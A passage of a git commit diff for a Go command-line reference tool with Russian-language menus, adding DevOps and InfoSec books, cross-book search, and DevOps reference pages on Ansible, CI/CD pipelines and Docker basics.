Added new modules and search

This commit is contained in:
Magnus Root 2026-04-07 15:56:42 +03:00
parent 01f899d831
commit def9f8127f
26 changed files with 4858 additions and 11 deletions

View file

@ -21,6 +21,8 @@ type Book struct {
var All = []Book{
GoBook,
LinuxBook,
DevOpsBook,
InfoSecBook,
}
// Find ищет книгу по ключу или алиасу
@ -66,8 +68,13 @@ func ShowMainMenu() {
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
}
// RunInteractive — главный интерактивный цикл
// RunInteractive — главный интерактивный цикл (алиас)
func RunInteractive(scanner *bufio.Scanner) {
RunInteractiveWithSearch(scanner)
}
// RunInteractiveWithSearch — главный цикл с поддержкой поиска
func RunInteractiveWithSearch(scanner *bufio.Scanner) {
for {
ShowMainMenu()
@ -85,6 +92,38 @@ func RunInteractive(scanner *bufio.Scanner) {
return
}
// Поиск: /ansible или search ansible
query := ""
if strings.HasPrefix(input, "/") {
query = strings.TrimSpace(input[1:])
} else if strings.HasPrefix(strings.ToLower(input), "search ") {
query = strings.TrimSpace(input[7:])
} else if strings.ToLower(input) == "search" {
fmt.Printf("\n %s%sВведите поисковый запрос:%s ", utils.ColorBold, utils.ColorGreen, utils.ColorReset)
if scanner.Scan() {
query = strings.TrimSpace(scanner.Text())
}
}
if query != "" {
results := Search(query)
ShowSearchResults(query, results)
if len(results) > 0 {
fmt.Printf(" %s%sВведите номер раздела чтобы открыть (Enter — назад в меню):%s ",
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
if scanner.Scan() {
choice := strings.TrimSpace(scanner.Text())
if n, err := strconv.Atoi(choice); err == nil && n >= 1 && n <= len(results) {
fmt.Println()
results[n-1].RunFunc()
fmt.Printf("\n %s%s[Enter — вернуться в меню]%s ", utils.ColorDim, utils.ColorCyan, utils.ColorReset)
scanner.Scan()
}
}
}
continue
}
// По номеру
if n, err := strconv.Atoi(input); err == nil {
if n >= 1 && n <= len(All) {
@ -96,13 +135,13 @@ func RunInteractive(scanner *bufio.Scanner) {
continue
}
// По ключу
// По ключу справочника
if b, ok := Find(input); ok {
b.Run(scanner)
continue
}
fmt.Printf("\n %s%sНе понял '%s'. Введите номер или ключ справочника.%s\n",
fmt.Printf("\n %s%sНе понял '%s'. Номер, ключ справочника, /запрос для поиска.%s\n",
utils.ColorBold, utils.ColorRed, input, utils.ColorReset)
}
}
@ -113,16 +152,24 @@ func ShowHelp() {
utils.Section("Запуск")
utils.Command("./rubric", "главное меню")
utils.Command("./rubric -book go", "открыть справочник напрямую")
utils.Command("./rubric -book go", "открыть справочник")
utils.Command("./rubric -book go -topic basics", "открыть конкретный раздел")
utils.Command("./rubric -search ansible", "поиск по всем справочникам")
utils.Command("./rubric -search 'sql injection'", "поиск по нескольким словам")
utils.Command("./rubric -list", "список всех справочников и разделов")
utils.Command("./rubric -help", "эта справка")
fmt.Println()
utils.Section("Поиск в интерактивном режиме")
utils.Command("/ansible", "поиск по запросу (начать с /)")
utils.Command("search nmap", "поиск командой search")
utils.Command("search", "поиск (запросит строку)")
fmt.Println()
utils.Section("Доступные справочники")
for _, b := range All {
keys := append([]string{b.Key}, b.Aliases...)
fmt.Printf(" %s%s%-8s%s %-30s %sключи: %s%s\n",
fmt.Printf(" %s%s%-8s%s %-34s %sключи: %s%s\n",
utils.ColorBold, utils.ColorCyan, b.Key, utils.ColorReset,
b.Title,
utils.ColorDim, strings.Join(keys, ", "), utils.ColorReset,

99
catalog/devopsboo.go Normal file
View file

@ -0,0 +1,99 @@
package catalog
import (
"bufio"
"fmt"
"rubric/modules/devopsmodules"
"rubric/utils"
"strconv"
"strings"
)
var DevOpsBook = Book{
Key: "devops",
Aliases: []string{"do", "dev"},
Title: "Справочник по DevOps",
Description: "Git, Docker, Kubernetes, CI/CD, Ansible, Terraform, мониторинг, Nginx",
Run: runDevOpsBook,
}
func runDevOpsBook(scanner *bufio.Scanner) {
for {
showDevOpsMenu()
input, ok := ReadLine(scanner)
if !ok {
return
}
if input == "" {
continue
}
if IsQuit(input) {
fmt.Printf("\n %s%sДо свидания!%s\n\n", utils.ColorBold, utils.ColorCyan, utils.ColorReset)
return
}
if IsBack(input) {
return
}
if n, err := strconv.Atoi(input); err == nil {
if n >= 1 && n <= len(devopsmodules.All) {
devopsmodules.All[n-1].Run()
waitDevOpsBack(scanner)
continue
}
fmt.Printf("\n %s%sНомер %d вне диапазона (1%d)%s\n",
utils.ColorBold, utils.ColorRed, n, len(devopsmodules.All), utils.ColorReset)
continue
}
if m, ok := devopsmodules.Find(input); ok {
m.Run()
waitDevOpsBack(scanner)
continue
}
fmt.Printf("\n %s%sНе понял '%s'. Номер, ключ раздела, b — назад.%s\n",
utils.ColorBold, utils.ColorRed, input, utils.ColorReset)
}
}
func showDevOpsMenu() {
utils.Header("Справочник DevOps")
fmt.Printf(" %s%sРазделы:%s\n\n", utils.ColorBold, utils.ColorWhite, utils.ColorReset)
for i, m := range devopsmodules.All {
aliases := ""
if len(m.Aliases) > 0 {
aliases = fmt.Sprintf("%s [%s]%s", utils.ColorDim, strings.Join(m.Aliases, ", "), utils.ColorReset)
}
fmt.Printf(" %s%s %2d.%s %s%-14s%s %s%-28s%s%s\n",
utils.ColorBold, utils.ColorCyan, i+1, utils.ColorReset,
utils.ColorYellow+utils.ColorBold, m.Key, utils.ColorReset,
utils.ColorWhite, m.Title, utils.ColorReset, aliases)
fmt.Printf(" %s%s%s\n\n", utils.ColorDim, m.Description, utils.ColorReset)
}
fmt.Printf(" %s%sРаздел (номер / ключ / b — главное меню / q — выход):%s ",
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
}
type devopsBackSignal struct{}
func waitDevOpsBack(scanner *bufio.Scanner) {
fmt.Printf("\n %s%s[Enter — назад в меню DevOps, b — главное меню]%s ",
utils.ColorDim, utils.ColorCyan, utils.ColorReset)
if scanner.Scan() {
if IsBack(strings.TrimSpace(scanner.Text())) {
panic(devopsBackSignal{})
}
}
}
func init() {
orig := DevOpsBook.Run
DevOpsBook.Run = func(scanner *bufio.Scanner) {
defer func() {
if r := recover(); r != nil {
if _, ok := r.(devopsBackSignal); !ok {
panic(r)
}
}
}()
orig(scanner)
}
}

99
catalog/infosecbook.go Normal file
View file

@ -0,0 +1,99 @@
package catalog
import (
"bufio"
"fmt"
"rubric/modules/infosecmodules"
"rubric/utils"
"strconv"
"strings"
)
var InfoSecBook = Book{
Key: "infosec",
Aliases: []string{"sec", "security", "is"},
Title: "Справочник по InfoSec",
Description: "Основы ИБ, криптография, PKI/TLS, сетевая безопасность, OWASP, hardening, инструменты",
Run: runInfoSecBook,
}
func runInfoSecBook(scanner *bufio.Scanner) {
for {
showInfoSecMenu()
input, ok := ReadLine(scanner)
if !ok {
return
}
if input == "" {
continue
}
if IsQuit(input) {
fmt.Printf("\n %s%sДо свидания!%s\n\n", utils.ColorBold, utils.ColorCyan, utils.ColorReset)
return
}
if IsBack(input) {
return
}
if n, err := strconv.Atoi(input); err == nil {
if n >= 1 && n <= len(infosecmodules.All) {
infosecmodules.All[n-1].Run()
waitInfoSecBack(scanner)
continue
}
fmt.Printf("\n %s%sНомер %d вне диапазона (1%d)%s\n",
utils.ColorBold, utils.ColorRed, n, len(infosecmodules.All), utils.ColorReset)
continue
}
if m, ok := infosecmodules.Find(input); ok {
m.Run()
waitInfoSecBack(scanner)
continue
}
fmt.Printf("\n %s%sНе понял '%s'. Номер, ключ раздела, b — назад.%s\n",
utils.ColorBold, utils.ColorRed, input, utils.ColorReset)
}
}
func showInfoSecMenu() {
utils.Header("Справочник InfoSec")
fmt.Printf(" %s%sРазделы:%s\n\n", utils.ColorBold, utils.ColorWhite, utils.ColorReset)
for i, m := range infosecmodules.All {
aliases := ""
if len(m.Aliases) > 0 {
aliases = fmt.Sprintf("%s [%s]%s", utils.ColorDim, strings.Join(m.Aliases, ", "), utils.ColorReset)
}
fmt.Printf(" %s%s %2d.%s %s%-12s%s %s%-30s%s%s\n",
utils.ColorBold, utils.ColorCyan, i+1, utils.ColorReset,
utils.ColorYellow+utils.ColorBold, m.Key, utils.ColorReset,
utils.ColorWhite, m.Title, utils.ColorReset, aliases)
fmt.Printf(" %s%s%s\n\n", utils.ColorDim, m.Description, utils.ColorReset)
}
fmt.Printf(" %s%sРаздел (номер / ключ / b — главное меню / q — выход):%s ",
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
}
type infosecBackSignal struct{}
func waitInfoSecBack(scanner *bufio.Scanner) {
fmt.Printf("\n %s%s[Enter — назад в меню InfoSec, b — главное меню]%s ",
utils.ColorDim, utils.ColorCyan, utils.ColorReset)
if scanner.Scan() {
if IsBack(strings.TrimSpace(scanner.Text())) {
panic(infosecBackSignal{})
}
}
}
func init() {
orig := InfoSecBook.Run
InfoSecBook.Run = func(scanner *bufio.Scanner) {
defer func() {
if r := recover(); r != nil {
if _, ok := r.(infosecBackSignal); !ok {
panic(r)
}
}
}()
orig(scanner)
}
}

239
catalog/search.go Normal file
View file

@ -0,0 +1,239 @@
package catalog
import (
"fmt"
"rubric/modules/devopsmodules"
"rubric/modules/gomodules"
"rubric/modules/infosecmodules"
"rubric/modules/linuxmodules"
"rubric/utils"
"sort"
"strings"
)
// SearchResult — одно совпадение поиска
type SearchResult struct {
BookKey string
BookTitle string
ModKey string
ModTitle string
ModDesc string
RunFunc func()
Score int // количество совпадений
}
// searchEntry — унифицированная запись для поиска
type searchEntry struct {
bookKey string
bookTitle string
modKey string
modTitle string
modDesc string
keywords []string
run func()
}
// Все записи для поиска — строим один раз
var allEntries = buildSearchIndex()
func buildSearchIndex() []searchEntry {
entries := []searchEntry{}
// Go
for _, m := range gomodules.All {
entries = append(entries, searchEntry{
bookKey: "go", bookTitle: "Go",
modKey: m.Key, modTitle: m.Title, modDesc: m.Description,
keywords: gomodules.Keywords(m.Key),
run: m.Run,
})
}
// Linux
for _, m := range linuxmodules.All {
entries = append(entries, searchEntry{
bookKey: "linux", bookTitle: "Linux",
modKey: m.Key, modTitle: m.Title, modDesc: m.Description,
keywords: linuxmodules.Keywords(m.Key),
run: m.Run,
})
}
// DevOps
for _, m := range devopsmodules.All {
entries = append(entries, searchEntry{
bookKey: "devops", bookTitle: "DevOps",
modKey: m.Key, modTitle: m.Title, modDesc: m.Description,
keywords: devopsmodules.Keywords(m.Key),
run: m.Run,
})
}
// InfoSec
for _, m := range infosecmodules.All {
entries = append(entries, searchEntry{
bookKey: "infosec", bookTitle: "InfoSec",
modKey: m.Key, modTitle: m.Title, modDesc: m.Description,
keywords: infosecmodules.Keywords(m.Key),
run: m.Run,
})
}
return entries
}
// Search выполняет поиск по запросу, возвращает отсортированные результаты
func Search(query string) []SearchResult {
query = strings.ToLower(strings.TrimSpace(query))
if query == "" {
return nil
}
// Разбить запрос на слова
words := strings.Fields(query)
var results []SearchResult
for _, e := range allEntries {
score := 0
// Текст для поиска: ключевые слова + название + описание
searchText := strings.ToLower(
e.modKey + " " +
e.modTitle + " " +
e.modDesc + " " +
strings.Join(e.keywords, " "),
)
for _, word := range words {
if len(word) < 2 {
continue
}
// Точное совпадение в ключевых словах — больший вес
for _, kw := range e.keywords {
if strings.EqualFold(kw, word) {
score += 10
} else if strings.Contains(strings.ToLower(kw), word) {
score += 5
}
}
// Совпадение в ключе модуля
if strings.Contains(e.modKey, word) {
score += 8
}
// Совпадение в названии
if strings.Contains(strings.ToLower(e.modTitle), word) {
score += 6
}
// Совпадение в описании
if strings.Contains(strings.ToLower(e.modDesc), word) {
score += 3
}
// Совпадение в общем тексте
if strings.Contains(searchText, word) && score == 0 {
score += 1
}
}
if score > 0 {
results = append(results, SearchResult{
BookKey: e.bookKey,
BookTitle: e.bookTitle,
ModKey: e.modKey,
ModTitle: e.modTitle,
ModDesc: e.modDesc,
RunFunc: e.run,
Score: score,
})
}
}
// Сортировать по релевантности
sort.Slice(results, func(i, j int) bool {
return results[i].Score > results[j].Score
})
return results
}
// ShowSearchResults выводит результаты поиска
func ShowSearchResults(query string, results []SearchResult) {
fmt.Printf("\n%s%s🔍 Поиск: \"%s\"%s\n\n",
utils.ColorBold, utils.ColorCyan, query, utils.ColorReset)
if len(results) == 0 {
fmt.Printf(" %sНичего не найдено по запросу \"%s\"%s\n\n",
utils.ColorDim, query, utils.ColorReset)
fmt.Printf(" Попробуйте другие слова. Примеры: ansible, nmap, docker, jwt, selinux\n\n")
return
}
fmt.Printf(" %s%sНайдено разделов: %d%s\n\n",
utils.ColorBold, utils.ColorGreen, len(results), utils.ColorReset)
for i, r := range results {
bookColor := bookColorFor(r.BookKey)
fmt.Printf(" %s%s%2d.%s %s[%s]%s %s%-12s%s — %s%s%s\n",
utils.ColorBold, utils.ColorCyan, i+1, utils.ColorReset,
utils.ColorBold+bookColor, r.BookTitle, utils.ColorReset,
utils.ColorYellow+utils.ColorBold, r.ModKey, utils.ColorReset,
utils.ColorWhite, r.ModTitle, utils.ColorReset,
)
fmt.Printf(" %s%s%s\n",
utils.ColorDim, r.ModDesc, utils.ColorReset)
fmt.Printf(" %sОткрыть: ./rubric -book %s -topic %s%s\n\n",
utils.ColorDim, r.BookKey, r.ModKey, utils.ColorReset)
}
}
func bookColorFor(key string) string {
switch key {
case "go":
return utils.ColorCyan
case "linux":
return utils.ColorGreen
case "devops":
return utils.ColorMagenta
case "infosec":
return utils.ColorRed
}
return utils.ColorWhite
}
// InteractiveSearch — интерактивный поиск с возможностью открыть раздел
func InteractiveSearch(query string, scanner interface {
Scan() bool
Text() string
}) {
results := Search(query)
ShowSearchResults(query, results)
if len(results) == 0 {
return
}
fmt.Printf(" %s%sВведите номер раздела чтобы открыть (Enter — пропустить):%s ",
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
if !scanner.Scan() {
return
}
input := strings.TrimSpace(scanner.Text())
if input == "" {
return
}
n := 0
for _, ch := range input {
if ch >= '0' && ch <= '9' {
n = n*10 + int(ch-'0')
} else {
return
}
}
if n >= 1 && n <= len(results) {
fmt.Println()
results[n-1].RunFunc()
}
}

63
main.go
View file

@ -6,15 +6,19 @@ import (
"fmt"
"os"
"rubric/catalog"
"rubric/modules/devopsmodules"
"rubric/modules/gomodules"
"rubric/modules/infosecmodules"
"rubric/modules/linuxmodules"
"rubric/utils"
"strings"
)
func main() {
book := flag.String("book", "", "открыть справочник напрямую (go, linux)")
book := flag.String("book", "", "открыть справочник (go, linux, devops, infosec)")
topic := flag.String("topic", "", "открыть раздел (используется вместе с -book)")
list := flag.Bool("list", false, "список всех справочников и разделов")
search := flag.String("search", "", "поиск по всем справочникам")
list := flag.Bool("list", false, "список всех справочников")
help := flag.Bool("help", false, "справка по использованию")
flag.Parse()
@ -24,19 +28,48 @@ func main() {
catalog.ShowHelp()
return
}
if *list {
catalog.ListAll()
return
}
// Поиск через флаг: ./rubric -search ansible
if *search != "" {
results := catalog.Search(*search)
catalog.ShowSearchResults(*search, results)
if len(results) > 0 {
fmt.Printf(" %s%sВведите номер раздела чтобы открыть (Enter — пропустить):%s ",
utils.ColorBold, utils.ColorGreen, utils.ColorReset)
if scanner.Scan() {
input := strings.TrimSpace(scanner.Text())
if input != "" {
n := 0
valid := true
for _, ch := range input {
if ch >= '0' && ch <= '9' {
n = n*10 + int(ch-'0')
} else {
valid = false
break
}
}
if valid && n >= 1 && n <= len(results) {
fmt.Println()
results[n-1].RunFunc()
}
}
}
}
return
}
// -book X -topic Y
if *book != "" && *topic != "" {
switch *book {
case "go", "g", "golang":
m, ok := gomodules.Find(*topic)
if !ok {
fmt.Printf("\n %s%sРаздел '%s' не найден в справочнике Go.%s\n",
fmt.Printf("\n %s%sРаздел '%s' не найден в Go.%s\n",
utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset)
gomodules.ListModules()
os.Exit(1)
@ -45,12 +78,30 @@ func main() {
case "linux", "l", "lnx":
m, ok := linuxmodules.Find(*topic)
if !ok {
fmt.Printf("\n %s%sРаздел '%s' не найден в справочнике Linux.%s\n",
fmt.Printf("\n %s%sРаздел '%s' не найден в Linux.%s\n",
utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset)
linuxmodules.ListModules()
os.Exit(1)
}
m.Run()
case "devops", "do", "dev":
m, ok := devopsmodules.Find(*topic)
if !ok {
fmt.Printf("\n %s%sРаздел '%s' не найден в DevOps.%s\n",
utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset)
devopsmodules.ListModules()
os.Exit(1)
}
m.Run()
case "infosec", "sec", "security", "is":
m, ok := infosecmodules.Find(*topic)
if !ok {
fmt.Printf("\n %s%sРаздел '%s' не найден в InfoSec.%s\n",
utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset)
infosecmodules.ListModules()
os.Exit(1)
}
m.Run()
default:
fmt.Printf("\n %s%sСправочник '%s' не найден.%s\n",
utils.ColorBold, utils.ColorRed, *book, utils.ColorReset)
@ -74,5 +125,5 @@ func main() {
}
// Интерактивный режим
catalog.RunInteractive(scanner)
catalog.RunInteractiveWithSearch(scanner)
}

View file

@ -0,0 +1,264 @@
package devopsmodules
import (
"rubric/utils"
)
var AnsibleModule = Module{
Key: "ansible",
Aliases: []string{"an", "ansible"},
Title: "Ansible — управление конфигурацией",
Description: "Инвентарь, playbook, роли, модули, vault, динамический инвентарь",
Run: showAnsible,
}
func showAnsible() {
utils.Header("DevOps — Ansible")
utils.Section("Основы и установка")
utils.Code(`Ansible agentless: работает через SSH, не требует агентов на хостах.
Push-модель: управляющая машина отправляет команды.
# Установка:
pip install ansible # рекомендуется через pip
dnf install ansible # RHEL/Fedora
apt install ansible # Debian/Ubuntu
ansible --version
ansible-galaxy collection install community.general`)
utils.Section("Инвентарь (Inventory)")
utils.Code(`# /etc/ansible/hosts или ./inventory.ini:
# Статический инвентарь:
[webservers]
web1.example.com
web2.example.com ansible_port=2222
[databases]
db1.example.com ansible_user=dbadmin
[production:children]
webservers
databases
[all:vars]
ansible_python_interpreter=/usr/bin/python3
# YAML-формат (inventory.yml):
all:
children:
webservers:
hosts:
web1.example.com:
http_port: 80
web2.example.com:
databases:
hosts:
db1.example.com:
ansible_user: dbadmin`)
utils.Println(utils.ColorBold + "Ad-hoc команды:" + utils.ColorReset)
utils.Command("ansible all -i inventory.ini -m ping", "проверить доступность хостов")
utils.Command("ansible webservers -m command -a 'uptime'", "выполнить команду")
utils.Command("ansible all -m shell -a 'df -h'", "через shell")
utils.Command("ansible webservers -m apt -a 'name=nginx state=present' -b", "установить пакет")
utils.Command("ansible all -m gather_facts --tree /tmp/facts", "собрать факты")
utils.Command("ansible all -m setup -a 'filter=ansible_os_family'", "конкретный факт")
utils.Section("Playbook")
utils.Code(`# site.yml основной playbook:
---
- name: Настройка веб-серверов
hosts: webservers
become: yes # sudo
vars:
nginx_port: 80
app_user: www-data
pre_tasks:
- name: Обновить кэш пакетов
apt:
update_cache: yes
cache_valid_time: 3600
tasks:
- name: Установить nginx
package:
name: nginx
state: present
- name: Скопировать конфигурацию
template:
src: templates/nginx.conf.j2
dest: /etc/nginx/nginx.conf
owner: root
mode: '0644'
notify: Перезапустить nginx
- name: Создать директорию приложения
file:
path: /var/www/myapp
state: directory
owner: "{{ app_user }}"
mode: '0755'
- name: Убедиться что nginx запущен
service:
name: nginx
state: started
enabled: yes
handlers:
- name: Перезапустить nginx
service:
name: nginx
state: restarted
- name: Настройка баз данных
hosts: databases
become: yes
roles:
- role: postgresql
vars:
pg_version: 16`)
utils.Println(utils.ColorBold + "Запуск playbook:" + utils.ColorReset)
utils.Command("ansible-playbook site.yml -i inventory.ini", "запустить")
utils.Command("ansible-playbook site.yml --check", "dry-run (без изменений)")
utils.Command("ansible-playbook site.yml --diff", "показать изменения файлов")
utils.Command("ansible-playbook site.yml --tags nginx", "только помеченные теги")
utils.Command("ansible-playbook site.yml --skip-tags debug", "пропустить теги")
utils.Command("ansible-playbook site.yml --limit web1.example.com", "только один хост")
utils.Command("ansible-playbook site.yml -e 'nginx_port=8080'", "переопределить переменную")
utils.Command("ansible-playbook site.yml -v", "verbose (-vvv для debug)")
utils.Section("Модули (основные)")
utils.Code(`# Файлы и шаблоны:
copy: скопировать файл с управляющей машины
template: шаблон Jinja2
file: создать файл/директорию/ссылку
fetch: скачать файл с хоста
lineinfile: управление строками в файле
blockinfile: управление блоками
# Пакеты и сервисы:
package: / apt: / dnf: / yum: пакеты
service: / systemd: сервисы
# Команды:
command: выполнить команду (без shell)
shell: выполнить через sh
raw: без Python (для минимальных систем)
script: выполнить локальный скрипт
# Пользователи:
user: управление пользователями
group: управление группами
authorized_key: SSH-ключи
# Сеть:
uri: HTTP-запросы
get_url: скачать файл по URL
wait_for: ждать порт/файл/условие`)
utils.Section("Переменные и шаблоны Jinja2")
utils.Code(`# Приоритет переменных (от низкого к высокому):
# defaults inventory group_vars host_vars play vars task vars extra-vars
# group_vars/webservers.yml:
nginx_version: "1.25"
nginx_worker_processes: auto
# host_vars/web1.example.com.yml:
nginx_port: 8080
# Шаблон templates/nginx.conf.j2:
worker_processes {{ nginx_worker_processes }};
events { worker_connections 1024; }
http {
server {
listen {{ nginx_port }};
server_name {{ inventory_hostname }};
{% if ssl_enabled %}
listen 443 ssl;
ssl_certificate {{ ssl_cert_path }};
{% endif %}
{% for location in nginx_locations %}
location {{ location.path }} {
proxy_pass {{ location.backend }};
}
{% endfor %}
}
}
# Фильтры Jinja2:
{{ variable | default('fallback') }}
{{ list | join(', ') }}
{{ string | upper }}
{{ path | basename }}
{{ number | int }}`)
utils.Section("Роли (Roles)")
utils.Code(`# Структура роли:
roles/
nginx/
defaults/main.yml # переменные по умолчанию
vars/main.yml # жёсткие переменные
tasks/main.yml # задачи
handlers/main.yml # обработчики
templates/ # шаблоны Jinja2
files/ # статические файлы
meta/main.yml # зависимости
README.md
# Создать структуру:
ansible-galaxy role init roles/nginx
# Использование роли в playbook:
- hosts: webservers
roles:
- nginx
- role: postgresql
vars:
pg_version: 16
# Установить роль из Galaxy:
ansible-galaxy install geerlingguy.nginx
# requirements.yml:
roles:
- name: geerlingguy.nginx
version: "3.2.0"
ansible-galaxy install -r requirements.yml`)
utils.Section("Ansible Vault — шифрование секретов")
utils.Code(`# Зашифровать файл:
ansible-vault encrypt vars/secrets.yml
ansible-vault encrypt_string 'mypassword' --name db_password
# Редактировать зашифрованный файл:
ansible-vault edit vars/secrets.yml
# Просмотр:
ansible-vault view vars/secrets.yml
# Расшифровать:
ansible-vault decrypt vars/secrets.yml
# Изменить пароль:
ansible-vault rekey vars/secrets.yml
# Использование в playbook:
ansible-playbook site.yml --ask-vault-pass
ansible-playbook site.yml --vault-password-file ~/.vault_pass
# .vault_pass (файл с паролем, не коммитить!):
echo 'myVaultPassword' > ~/.vault_pass
chmod 600 ~/.vault_pass`)
utils.Footer()
}

View file

@ -0,0 +1,294 @@
package devopsmodules
import (
"rubric/utils"
)
var CicdModule = Module{
Key: "cicd",
Aliases: []string{"ci", "cd", "pipeline"},
Title: "CI/CD — непрерывная интеграция и доставка",
Description: "GitHub Actions, GitLab CI, Jenkins, принципы CI/CD",
Run: showCicd,
}
func showCicd() {
utils.Header("DevOps — CI/CD")
utils.Section("Принципы CI/CD")
utils.Code(`CI (Continuous Integration) непрерывная интеграция:
- Разработчики часто коммитят в общую ветку
- Автоматически запускаются: сборка, тесты, линтинг
- Быстрая обратная связь (< 10 минут)
CD (Continuous Delivery) непрерывная доставка:
- Код всегда готов к деплою
- Деплой в staging автоматически
- В продакшн одним кликом или автоматически
Типичный пайплайн:
Коммит Lint Test Build Security scan Deploy staging Deploy prod
Метрики:
Lead time время от коммита до продакшна
Deploy freq частота деплоев
MTTR среднее время восстановления
Change fail % процент неудачных деплоев`)
utils.Section("GitHub Actions")
utils.Code(`# .github/workflows/ci.yml
name: CI/CD
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
env:
REGISTRY: ghcr.io
IMAGE_NAME: ${{ github.repository }}
jobs:
test:
runs-on: ubuntu-latest
services:
postgres:
image: postgres:16
env:
POSTGRES_PASSWORD: secret
options: >-
--health-cmd pg_isready
--health-interval 10s
steps:
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version: '1.22'
cache: true
- name: Run tests
run: go test -v -race -coverprofile=coverage.out ./...
- name: Upload coverage
uses: codecov/codecov-action@v4
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: golangci/golangci-lint-action@v4
build-and-push:
needs: [test, lint]
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/main'
permissions:
contents: read
packages: write
steps:
- uses: actions/checkout@v4
- name: Log in to registry
uses: docker/login-action@v3
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Build and push
uses: docker/build-push-action@v5
with:
push: true
tags: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}
cache-from: type=gha
cache-to: type=gha,mode=max
deploy:
needs: build-and-push
runs-on: ubuntu-latest
environment: production # требует ручного подтверждения
steps:
- name: Deploy to Kubernetes
uses: azure/k8s-deploy@v4
with:
manifests: k8s/
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}`)
utils.Println(utils.ColorBold + "GitHub Actions — ключевые концепции:" + utils.ColorReset)
utils.Code(`Workflow файл в .github/workflows/*.yml
Job набор шагов, запускается на runner
Step команда или action
Runner виртуальная машина (ubuntu/windows/macos)
Action переиспользуемый step (uses: actions/checkout@v4)
Secret зашифрованные переменные (Settings Secrets)
Environment защищённая среда с approval (production, staging)
Matrix параллельный запуск с разными параметрами:
strategy:
matrix:
go: ['1.21', '1.22']
os: [ubuntu-latest, macos-latest]`)
utils.Section("GitLab CI/CD")
utils.Code(`# .gitlab-ci.yml
stages:
- test
- build
- deploy
variables:
DOCKER_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA
test:
stage: test
image: golang:1.22
script:
- go test ./...
- go vet ./...
coverage: '/coverage: \d+\.\d+%/'
artifacts:
reports:
coverage_report:
coverage_format: cobertura
path: coverage.xml
build:
stage: build
image: docker:24
services:
- docker:24-dind
before_script:
- docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
script:
- docker build -t $DOCKER_IMAGE .
- docker push $DOCKER_IMAGE
only:
- main
deploy_staging:
stage: deploy
script:
- kubectl set image deployment/myapp myapp=$DOCKER_IMAGE
environment:
name: staging
url: https://staging.example.com
only:
- main
deploy_prod:
stage: deploy
script:
- kubectl set image deployment/myapp myapp=$DOCKER_IMAGE
environment:
name: production
url: https://example.com
when: manual # ручной запуск
only:
- main`)
utils.Println(utils.ColorBold + "Встроенные переменные GitLab CI:" + utils.ColorReset)
utils.Code(`CI_COMMIT_SHA полный SHA коммита
CI_COMMIT_SHORT_SHA короткий SHA
CI_COMMIT_BRANCH ветка
CI_COMMIT_TAG тег (если есть)
CI_REGISTRY адрес реестра (registry.gitlab.com)
CI_REGISTRY_IMAGE полный путь образа
CI_PROJECT_NAME имя проекта
CI_ENVIRONMENT_NAME имя окружения`)
utils.Section("Jenkins")
utils.Code(`// Jenkinsfile (Declarative Pipeline):
pipeline {
agent any
environment {
DOCKER_CREDS = credentials('docker-hub')
KUBECONFIG = credentials('kubeconfig-prod')
}
stages {
stage('Checkout') {
steps { checkout scm }
}
stage('Test') {
steps {
sh 'go test ./...'
}
post {
always {
junit 'test-results.xml'
}
}
}
stage('Build') {
steps {
sh """
docker build -t myapp:${env.BUILD_NUMBER} .
docker tag myapp:${env.BUILD_NUMBER} myrepo/myapp:latest
"""
}
}
stage('Push') {
steps {
sh """
echo $DOCKER_CREDS_PSW | docker login -u $DOCKER_CREDS_USR --password-stdin
docker push myrepo/myapp:${env.BUILD_NUMBER}
"""
}
}
stage('Deploy') {
when { branch 'main' }
steps {
input message: 'Деплоить в продакшн?'
sh "kubectl set image deployment/myapp myapp=myrepo/myapp:${env.BUILD_NUMBER}"
}
}
}
post {
failure {
slackSend channel: '#alerts', message: "FAILED: ${env.JOB_NAME} ${env.BUILD_NUMBER}"
}
success {
slackSend channel: '#deployments', message: "DEPLOYED: ${env.JOB_NAME} ${env.BUILD_NUMBER}"
}
}
}`)
utils.Section("ArgoCD — GitOps")
utils.Code(`GitOps Git как единственный источник истины для инфраструктуры.
ArgoCD наблюдает за Git-репозиторием и синхронизирует кластер.
# Установка:
kubectl create namespace argocd
kubectl apply -n argocd -f \
https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml
# CLI:
argocd login argocd.example.com
# Создать приложение:
argocd app create myapp \
--repo https://github.com/user/myapp \
--path k8s/ \
--dest-server https://kubernetes.default.svc \
--dest-namespace production \
--sync-policy automated \
--auto-prune
argocd app list
argocd app sync myapp
argocd app rollback myapp 3`)
utils.Footer()
}

View file

@ -0,0 +1,250 @@
package devopsmodules
import (
"fmt"
"rubric/utils"
)
var DockerModule = Module{
Key: "docker",
Aliases: []string{"d", "container", "podman"},
Title: "Docker и контейнеры",
Description: "Образы, контейнеры, Dockerfile, Compose, сети, тома, Podman",
Run: showDocker,
}
func showDocker() {
utils.Header("DevOps — Docker и контейнеры")
utils.Section("Основные понятия")
utils.Code(`Image (образ) неизменяемый шаблон (слои файловой системы)
Container запущенный экземпляр образа (изолированный процесс)
Dockerfile инструкции для сборки образа
Registry хранилище образов (Docker Hub, GHCR, ECR, Harbor)
Volume постоянное хранилище данных вне контейнера
Network виртуальная сеть между контейнерами
Изоляция через технологии ядра Linux:
- namespaces (PID, net, mnt, uts, ipc, user)
- cgroups (ограничение ресурсов)
- Union FS (слоистая файловая система)`)
utils.Section("Управление образами")
utils.Command("docker images", "список образов")
utils.Command("docker pull nginx:1.25", "скачать образ")
utils.Command("docker pull nginx:latest", "последняя версия")
